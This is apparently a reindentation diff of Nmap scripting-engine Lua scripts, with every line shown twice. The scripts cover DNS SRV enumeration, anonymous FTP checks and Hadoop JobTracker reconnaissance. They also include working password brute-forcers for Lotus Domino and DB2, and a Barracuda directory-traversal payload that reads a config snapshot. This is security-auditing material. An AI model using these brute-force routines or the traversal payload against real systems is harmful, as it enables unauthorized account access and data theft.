tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
end
end
if ( #svc_result ~= 1 ) then
table.insert(result, { name = name, tab.dump(svc_result) })
end
condvar "signal"
local condvar = nmap.condvar(result)
local svc_result = tab.new(4)
tab.addrow(svc_result, "service", "prio", "weight", "host")
for _, query in ipairs(queries) do
local fqdn = ("%s.%s"):format(query, arg_domain)
local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
for host, port, prio, weight in parseSrvResponse(resp) do
if target.ALLOW_NEW_TARGETS then
target.add(host)
end
local proto = query:sub(-3)
tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
end
end
if ( #svc_result ~= 1 ) then
table.insert(result, { name = name, tab.dump(svc_result) })
end
condvar "signal"
end
action = function(host)
local services = {
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
{ name = "LDAP", query = {"_ldap._tcp"} },
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
}
local services = {
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
{ name = "LDAP", query = {"_ldap._tcp"} },
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
}
if ( not(checkFilter(services)) ) then
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
end
if ( not(checkFilter(services)) ) then
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
end
local threads, result = {}, {}
for name, queries in parseSvcList(services) do
if ( not(arg_filter) or 0 == #arg_filter or
"all" == arg_filter or arg_filter == name ) then
local co = stdnse.new_thread(doQuery, name, queries, result)
threads[co] = true
end
end
local threads, result = {}, {}
for name, queries in parseSvcList(services) do
if ( not(arg_filter) or 0 == #arg_filter or
"all" == arg_filter or arg_filter == name ) then
local co = stdnse.new_thread(doQuery, name, queries, result)
threads[co] = true
end
end
local condvar = nmap.condvar(result)
repeat
for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until( next(threads) == nil )
local condvar = nmap.condvar(result)
repeat
for t in pairs(threads) do
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
end
if ( next(threads) ) then
condvar "wait"
end
until( next(threads) == nil )
table.sort(result, function(a,b) return a.name < b.name end)
table.sort(result, function(a,b) return a.name < b.name end)
return stdnse.format_output(true, result)
return stdnse.format_output(true, result)
end

View File

@@ -41,128 +41,128 @@ local not_admins = {}
SocketPool = {
new = function(self, max_sockets)
local o = {}
setmetatable(o, self)
self.__index = self
o.max_sockets = max_sockets
o.pool = {}
return o
end,
new = function(self, max_sockets)
local o = {}
setmetatable(o, self)
self.__index = self
o.max_sockets = max_sockets
o.pool = {}
return o
end,
getSocket = function(self, host, port)
while(true) do
for i=1, #self.pool do
if ( not( self.pool[i].inuse ) ) then
self.pool[i].inuse = true
return self.pool[i].socket
end
end
if ( #self.pool < self.max_sockets ) then
local socket = nmap.new_socket()
local status = socket:connect( host.ip, port.number, "tcp")
getSocket = function(self, host, port)
while(true) do
for i=1, #self.pool do
if ( not( self.pool[i].inuse ) ) then
self.pool[i].inuse = true
return self.pool[i].socket
end
end
if ( #self.pool < self.max_sockets ) then
local socket = nmap.new_socket()
local status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then
socket:reconnect_ssl()
end
if ( status ) then
socket:reconnect_ssl()
end
if ( status and socket ) then
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
end
end
stdnse.sleep(1)
end
end,
if ( status and socket ) then
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
end
end
stdnse.sleep(1)
end
end,
releaseSocket = function( self, socket )
for i=1, #self.pool do
if( socket == self.pool[i].socket ) then
self.pool[i].inuse = false
break
end
end
end,
releaseSocket = function( self, socket )
for i=1, #self.pool do
if( socket == self.pool[i].socket ) then
self.pool[i].inuse = false
break
end
end
end,
shutdown = function( self )
for i=1, #self.pool do
self.pool[i].socket:close()
end
end,
shutdown = function( self )
for i=1, #self.pool do
self.pool[i].socket:close()
end
end,
}
Driver =
{
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.sockpool = options
return o
end,
new = function(self, host, port, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.sockpool = options
return o
end,
connect = function( self )
self.socket = self.sockpool:getSocket( self.host, self.port )
connect = function( self )
self.socket = self.sockpool:getSocket( self.host, self.port )
if ( self.socket ) then
return true
else
return false
end
end,
if ( self.socket ) then
return true
else
return false
end
end,
--- Attempts to login to the Lotus Domino Console
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local data = ("#UI %s,%s\n"):format(username,password)
local status
--- Attempts to login to the Lotus Domino Console
--
-- @param username string containing the login username
-- @param password string containing the login password
-- @return status, true on success, false on failure
-- @return brute.Error object on failure
-- brute.Account object on success
login = function( self, username, password )
local data = ("#UI %s,%s\n"):format(username,password)
local status
if ( not_admins[username] ) then
return false, brute.Error:new( "Incorrect password" )
end
if ( not_admins[username] ) then
return false, brute.Error:new( "Incorrect password" )
end
status, data = self.socket:send( data )
if ( not(status) ) then
local err = brute.Error:new( data )
err:setRetry(true)
return false, err
end
status, data = self.socket:send( data )
if ( not(status) ) then
local err = brute.Error:new( data )
err:setRetry(true)
return false, err
end
status, data = self.socket:receive_bytes(5)
status, data = self.socket:receive_bytes(5)
if ( status and data:match("NOT_REG_ADMIN") ) then
not_admins[username] = true
elseif( status and data:match("VALID_USER") ) then
return true, brute.Account:new( username, password, creds.State.VALID)
end
if ( status and data:match("NOT_REG_ADMIN") ) then
not_admins[username] = true
elseif( status and data:match("VALID_USER") ) then
return true, brute.Account:new( username, password, creds.State.VALID)
end
return false, brute.Error:new( "Incorrect password" )
return false, brute.Error:new( "Incorrect password" )
end,
end,
disconnect = function( self )
self.sockpool:releaseSocket( self.socket )
end,
disconnect = function( self )
self.sockpool:releaseSocket( self.socket )
end,
}
action = function(host, port)
local status, result
local pool = SocketPool:new(10)
local engine = brute.Engine:new(Driver, host, port, pool )
local status, result
local pool = SocketPool:new(10)
local engine = brute.Engine:new(Driver, host, port, pool )
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
pool:shutdown()
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
pool:shutdown()
return result
return result
end

View File

@@ -46,16 +46,16 @@ portrule = shortport.port_or_service({50000,60000}, {"drda","ibm-db2"}, "tcp", {
-- @return username string
-- @return password string
local function new_usrpwd_iterator (usernames, passwords)
local function next_username_password ()
for username in usernames do
for password in passwords do
coroutine.yield(username, password)
end
passwords("reset")
end
while true do coroutine.yield(nil, nil) end
end
return coroutine.wrap(next_username_password)
local function next_username_password ()
for username in usernames do
for password in passwords do
coroutine.yield(username, password)
end
passwords("reset")
end
while true do coroutine.yield(nil, nil) end
end
return coroutine.wrap(next_username_password)
end
--- Iterates over the password list and guesses passwords
@@ -66,29 +66,29 @@ end
-- @param creds an iterator producing username, password pairs
-- @param valid_accounts table in which to store found accounts
doLogin = function( host, port, database, creds, valid_accounts )
local helper, status, response, passwords
local condvar = nmap.condvar( valid_accounts )
local helper, status, response, passwords
local condvar = nmap.condvar( valid_accounts )
for username, password in creds do
-- Checks if a password was already discovered for this account
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
helper = drda.Helper:new()
helper:connect( host, port )
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
status, response = helper:login( database, username, password )
helper:close()
for username, password in creds do
-- Checks if a password was already discovered for this account
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
helper = drda.Helper:new()
helper:connect( host, port )
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
status, response = helper:login( database, username, password )
helper:close()
if ( status ) then
-- Add credentials for future drda scripts to use
if nmap.registry.db2users == nil then
nmap.registry.db2users = {}
end
nmap.registry.db2users[username]=password
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
end
end
end
condvar("broadcast")
if ( status ) then
-- Add credentials for future drda scripts to use
if nmap.registry.db2users == nil then
nmap.registry.db2users = {}
end
nmap.registry.db2users[username]=password
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
end
end
end
condvar("broadcast")
end
--- Checks if the supplied database exists
@@ -98,18 +98,18 @@ end
-- @param database string containing the database name
-- @return status true on success, false on failure
isValidDb = function( host, port, database )
local status, response
local helper = drda.Helper:new()
local status, response
local helper = drda.Helper:new()
helper:connect( host, port )
-- Authenticate with a static probe account to see if the db is valid
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
helper:close()
helper:connect( host, port )
-- Authenticate with a static probe account to see if the db is valid
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
helper:close()
if ( not(status) and response:match("Login failed") ) then
return true
end
return false
if ( not(status) and response:match("Login failed") ) then
return true
end
return false
end
--- Returns the amount of currenlty active threads
@@ -117,57 +117,57 @@ end
-- @param threads table containing the list of threads
-- @return count number containing the number of non-dead threads
threadCount = function( threads )
local count = 0
local count = 0
for thread in pairs(threads) do
if ( coroutine.status(thread) == "dead" ) then
threads[thread] = nil
else
count = count + 1
end
end
return count
for thread in pairs(threads) do
if ( coroutine.status(thread) == "dead" ) then
threads[thread] = nil
else
count = count + 1
end
end
return count
end
action = function( host, port )
local result, response, status = {}, nil, nil
local valid_accounts, threads = {}, {}
local usernames, passwords, creds
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
local condvar = nmap.condvar( valid_accounts )
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
local result, response, status = {}, nil, nil
local valid_accounts, threads = {}, {}
local usernames, passwords, creds
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
local condvar = nmap.condvar( valid_accounts )
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
-- Check if the DB specified is valid
if( not(isValidDb(host, port, database)) ) then
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
end
-- Check if the DB specified is valid
if( not(isValidDb(host, port, database)) ) then
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
end
status, usernames = unpwdb.usernames()
if ( not(status) ) then
return "Failed to load usernames"
end
status, usernames = unpwdb.usernames()
if ( not(status) ) then
return "Failed to load usernames"
end
-- make sure we have a valid pw file
status, passwords = unpwdb.passwords()
if ( not(status) ) then
return "Failed to load passwords"
end
-- make sure we have a valid pw file
status, passwords = unpwdb.passwords()
if ( not(status) ) then
return "Failed to load passwords"
end
creds = new_usrpwd_iterator( usernames, passwords )
creds = new_usrpwd_iterator( usernames, passwords )
stdnse.print_debug("Starting brute force with %d threads", max_threads )
stdnse.print_debug("Starting brute force with %d threads", max_threads )
for i=1,max_threads do
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
threads[co] = true
end
for i=1,max_threads do
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
threads[co] = true
end
-- wait for all threads to finnish running
while threadCount(threads)>0 do
condvar("wait")
end
-- wait for all threads to finnish running
while threadCount(threads)>0 do
condvar("wait")
end
return stdnse.format_output(true, valid_accounts)
return stdnse.format_output(true, valid_accounts)
end

View File

@@ -44,147 +44,147 @@ portrule = shortport.port_or_service(21, "ftp")
-- list sent.
-- ---------------------
local function list(socket, target, max_lines)
local status, err
local status, err
-- ask the server for a Passive Mode: it should give us a port to
-- listen to, where it will dump the directory listing
local buffer = stdnse.make_buffer(socket, "\r?\n")
status, err = socket:send("PASV\r\n")
if not status then
return status, err
end
local code, message = ftp.read_reply(buffer)
-- ask the server for a Passive Mode: it should give us a port to
-- listen to, where it will dump the directory listing
local buffer = stdnse.make_buffer(socket, "\r?\n")
status, err = socket:send("PASV\r\n")
if not status then
return status, err
end
local code, message = ftp.read_reply(buffer)
-- Compute the PASV port as given by the server
-- The server should answer with something like
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
-- (-- IP--,PORT)
-- PORT is (hp x 256) + lp
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
if not high then
return nil, string.format("Can't parse PASV response: %q", message)
end
-- Compute the PASV port as given by the server
-- The server should answer with something like
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
-- (-- IP--,PORT)
-- PORT is (hp x 256) + lp
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
if not high then
return nil, string.format("Can't parse PASV response: %q", message)
end
local pasv_port = high * 256 + low
local pasv_port = high * 256 + low
-- Send the LIST command on the commands socket. "Fire and forget"; we
-- don't need to take care of the answer on this socket.
status, err = socket:send("LIST\r\n")
if not status then
return status, err
end
-- Send the LIST command on the commands socket. "Fire and forget"; we
-- don't need to take care of the answer on this socket.
status, err = socket:send("LIST\r\n")
if not status then
return status, err
end
local list_socket = nmap.new_socket()
status, err = list_socket:connect(target, pasv_port, "tcp")
if not status then
return status, err
end
local list_socket = nmap.new_socket()
status, err = list_socket:connect(target, pasv_port, "tcp")
if not status then
return status, err
end
local listing = {}
while not max_lines or #listing < max_lines do
local status, data = list_socket:receive_buf("\r?\n", false)
if (not status and data == "EOF") or data == "" then
break
end
if not status then
return status, data
end
listing[#listing + 1] = data
end
local listing = {}
while not max_lines or #listing < max_lines do
local status, data = list_socket:receive_buf("\r?\n", false)
if (not status and data == "EOF") or data == "" then
break
end
if not status then
return status, data
end
listing[#listing + 1] = data
end
return true, listing
return true, listing
end
--- Connects to the FTP server and checks if the server allows anonymous logins.
action = function(host, port)
local socket = nmap.new_socket()
local code, message
local err_catch = function()
socket:close()
end
local socket = nmap.new_socket()
local code, message
local err_catch = function()
socket:close()
end
local max_list = stdnse.get_script_args("ftp-anon.maxlist")
if not max_list then
if nmap.verbosity() == 0 then
max_list = 20
else
max_list = nil
end
else
max_list = tonumber(max_list)
if max_list < 0 then
max_list = nil
end
end
local max_list = stdnse.get_script_args("ftp-anon.maxlist")
if not max_list then
if nmap.verbosity() == 0 then
max_list = 20
else
max_list = nil
end
else
max_list = tonumber(max_list)
if max_list < 0 then
max_list = nil
end
end
local try = nmap.new_try(err_catch)
local try = nmap.new_try(err_catch)
try(socket:connect(host, port))
local buffer = stdnse.make_buffer(socket, "\r?\n")
try(socket:connect(host, port))
local buffer = stdnse.make_buffer(socket, "\r?\n")
-- Read banner.
code, message = ftp.read_reply(buffer)
if code and code == 220 then
try(socket:send("USER anonymous\r\n"))
code, message = ftp.read_reply(buffer)
if code == 331 then
-- 331: User name okay, need password.
try(socket:send("PASS IEUser@\r\n"))
code, message = ftp.read_reply(buffer)
end
-- Read banner.
code, message = ftp.read_reply(buffer)
if code and code == 220 then
try(socket:send("USER anonymous\r\n"))
code, message = ftp.read_reply(buffer)
if code == 331 then
-- 331: User name okay, need password.
try(socket:send("PASS IEUser@\r\n"))
code, message = ftp.read_reply(buffer)
end
if code == 332 then
-- 332: Need account for login.
-- This is rarely seen but may come in response to a
-- USER or PASS command. As we're doing this
-- anonymously, send back a blank ACCT.
try(socket:send("ACCT\r\n"))
code, message = ftp.read_reply(buffer)
if code == 331 then
-- 331: User name okay, need password.
try(socket:send("PASS IEUser@\r\n"))
code, message = ftp.read_reply(buffer)
end
end
end
if code == 332 then
-- 332: Need account for login.
-- This is rarely seen but may come in response to a
-- USER or PASS command. As we're doing this
-- anonymously, send back a blank ACCT.
try(socket:send("ACCT\r\n"))
code, message = ftp.read_reply(buffer)
if code == 331 then
-- 331: User name okay, need password.
try(socket:send("PASS IEUser@\r\n"))
code, message = ftp.read_reply(buffer)
end
end
end
if code and code >= 200 and code < 300 then
-- We are primarily looking for 230: User logged in, proceed.
else
if not code then
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
elseif code == 421 or code == 530 then
-- Don't log known error codes.
-- 421: Service not available, closing control connection.
-- 530: Not logged in.
else
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
end
return nil
end
if code and code >= 200 and code < 300 then
-- We are primarily looking for 230: User logged in, proceed.
else
if not code then
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
elseif code == 421 or code == 530 then
-- Don't log known error codes.
-- 421: Service not available, closing control connection.
-- 530: Not logged in.
else
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
end
return nil
end
local result = {}
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
local result = {}
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
if not max_list or max_list > 0 then
local status, listing = list(socket, host, max_list)
socket:close()
if not max_list or max_list > 0 then
local status, listing = list(socket, host, max_list)
socket:close()
if not status then
result[#result + 1] = "Can't get directory listing: " .. listing
else
for _, item in ipairs(listing) do
-- Just a quick passive check on user rights.
if string.match(item, "^[d-].......w.") then
item = item .. " [NSE: writeable]"
end
result[#result + 1] = item
end
if max_list and #listing == max_list then
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
end
end
end
if not status then
result[#result + 1] = "Can't get directory listing: " .. listing
else
for _, item in ipairs(listing) do
-- Just a quick passive check on user rights.
if string.match(item, "^[d-].......w.") then
item = item .. " [NSE: writeable]"
end
result[#result + 1] = item
end
if max_list and #listing == max_list then
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
end
end
end
return table.concat(result, "\n")
return table.concat(result, "\n")
end

View File

@@ -53,116 +53,116 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
-- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port.
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end
get_userhistory = function( host, port )
local results = {}
local uri = "/jobhistory.jsp?pageno=-1&search="
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
for line in string.gmatch(body, "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("job_[%d_]+") then
local user = line:match("<td>([^][<>]+)</td></tr>")
local job_time = line:match("</td><td>([^][<]+)")
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
table.insert( results, ("User: %s (%s)"):format(user,job_time))
end
end
end
return results
local results = {}
local uri = "/jobhistory.jsp?pageno=-1&search="
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
for line in string.gmatch(body, "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("job_[%d_]+") then
local user = line:match("<td>([^][<>]+)</td></tr>")
local job_time = line:match("</td><td>([^][<]+)")
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
table.insert( results, ("User: %s (%s)"):format(user,job_time))
end
end
end
return results
end
get_tasktrackers = function( host, port )
local results = {}
local uri = "/machines.jsp?type=active"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
for line in string.gmatch(response['body'], "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
table.insert( results, tasktracker)
if target.ALLOW_NEW_TARGETS then
if tasktracker:match("([%w%.]+)") then
local newtarget = tasktracker:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
end
end
return results
local results = {}
local uri = "/machines.jsp?type=active"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
for line in string.gmatch(response['body'], "[^\n]+") do
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
table.insert( results, tasktracker)
if target.ALLOW_NEW_TARGETS then
if tasktracker:match("([%w%.]+)") then
local newtarget = tasktracker:match("([%w%.]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget)
end
end
end
end
end
return results
end
action = function( host, port )
local result = {}
local uri = "/jobtracker.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
if response['body']:match("State:</b>%s*([^][<]+)") then
local state = response['body']:match("State:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
table.insert(result, ("State: %s"):format(state))
end
if response['body']:match("Started:</b>%s*([^][<]+)") then
local started = response['body']:match("Started:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
table.insert(result, ("Started: %s"):format(started))
end
if response['body']:match("Version:</b>%s*([^][<]+)") then
local version = response['body']:match("Version:</b>%s*([^][<]+)")
local versionNo = version:match("([^][,]+)")
local versionHash = version:match("[^][,]+%s+(%w+)")
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
port.version.version = versionNo
end
if response['body']:match("Compiled:</b>%s*([^][<]+)") then
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled))
end
if response['body']:match("Identifier:</b>%s*([^][<]+)") then
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
table.insert(result, ("Identifier: %s"):format(identifier))
end
if response['body']:match("([%w/]+)\">Log<") then
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
table.insert(result, ("Log Files: %s"):format(logfiles))
end
local tasktrackers = get_tasktrackers (host, port)
if next(tasktrackers) then
table.insert(result, "Tasktrackers: ")
table.insert(result, tasktrackers)
end
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
local userhistory = get_userhistory (host, port)
table.insert(result, "Userhistory: ")
table.insert(result, userhistory)
end
if #result > 0 then
port.version.name = "hadoop-jobtracker"
port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
local result = {}
local uri = "/jobtracker.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
if response['body']:match("State:</b>%s*([^][<]+)") then
local state = response['body']:match("State:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
table.insert(result, ("State: %s"):format(state))
end
if response['body']:match("Started:</b>%s*([^][<]+)") then
local started = response['body']:match("Started:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
table.insert(result, ("Started: %s"):format(started))
end
if response['body']:match("Version:</b>%s*([^][<]+)") then
local version = response['body']:match("Version:</b>%s*([^][<]+)")
local versionNo = version:match("([^][,]+)")
local versionHash = version:match("[^][,]+%s+(%w+)")
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
port.version.version = versionNo
end
if response['body']:match("Compiled:</b>%s*([^][<]+)") then
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled))
end
if response['body']:match("Identifier:</b>%s*([^][<]+)") then
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
table.insert(result, ("Identifier: %s"):format(identifier))
end
if response['body']:match("([%w/]+)\">Log<") then
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
table.insert(result, ("Log Files: %s"):format(logfiles))
end
local tasktrackers = get_tasktrackers (host, port)
if next(tasktrackers) then
table.insert(result, "Tasktrackers: ")
table.insert(result, tasktrackers)
end
if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
local userhistory = get_userhistory (host, port)
table.insert(result, "Userhistory: ")
table.insert(result, userhistory)
end
if #result > 0 then
port.version.name = "hadoop-jobtracker"
port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port)
end
return stdnse.format_output(true, result)
end
end

View File

@@ -27,10 +27,10 @@ http://www.exploit-db.com/exploits/15130/
-- nmap --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p <port> <host>
--
-- @args http-max-cache-size
-- Set max cache size. The default value is 100,000.
-- Barracuda config files vary in size mostly due to the number
-- of users. Using a max cache size of 5,000,000 bytes should be
-- enough for config files containing up to 5,000 users.
-- Set max cache size. The default value is 100,000.
-- Barracuda config files vary in size mostly due to the number
-- of users. Using a max cache size of 5,000,000 bytes should be
-- enough for config files containing up to 5,000 users.
--
-- @output
-- PORT STATE SERVICE REASON
@@ -85,100 +85,100 @@ portrule = shortport.port_or_service (8000, "barracuda", {"tcp"})
action = function(host, port)
local result = {}
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
local user_count = 0
local config_file = ""
local result = {}
local paths = {"/cgi-bin/view_help.cgi", "/cgi-mod/view_help.cgi"}
local payload = "?locale=/../../../../../../../mail/snapshot/config.snapshot%00"
local user_count = 0
local config_file = ""
-- Loop through vulnerable files
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
for _, path in ipairs(paths) do
-- Loop through vulnerable files
